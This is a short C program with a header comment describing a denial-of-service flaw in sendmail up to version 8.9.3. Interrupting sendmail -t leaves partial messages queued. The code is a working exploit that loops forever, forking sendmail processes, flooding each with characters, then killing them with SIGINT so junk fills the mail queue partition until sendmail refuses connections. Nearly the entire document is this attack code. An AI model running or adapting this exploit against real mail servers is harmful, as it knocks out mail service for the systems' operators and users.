/*

 It seems that sendmail ran with -t option
 does NOT block SIGINT ... In that moment
 while we are sending data to its stdin,
 when we will press CTRL-C process is being
 killed, but in queue rests unfinished letter.
 It stays there quite long - long enought to
 fullfill partition on disk where /var/spool/mqueue
 resides. When it happends, sendmail doesn't
 allow new connections - so it is a kind of
 DoS attack for this service. It has been
 tested on all new versions on sendmail up
 to current (8.9.3).

   Lukasz Luzar                     K.K.I.
   http://noname.kki.krakow.pl/   lluzar@kki.pl

*/


#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>

#define DELAY 5              /* time in seconds needed to reach
                                 MaxMessageSize limit */
#define SM_PATH "/usr/sbin/sendmail -t"

void main()
{
       FILE    *fd;
       int     pid;

       for(;;) {
               if(( pid = fork()) == 0) {
                       setpgrp();
                       if(( fd = popen( SM_PATH, "w")) == NULL)
                               fprintf( stderr, "popen error\n");
                       for(;;) fputc( 'A', fd);
               } else {
                       sleep( DELAY);
                       kill( (-1) * pid, SIGINT);
                       fprintf( stdout, "next\n");
                       wait( NULL);
               }
       }
}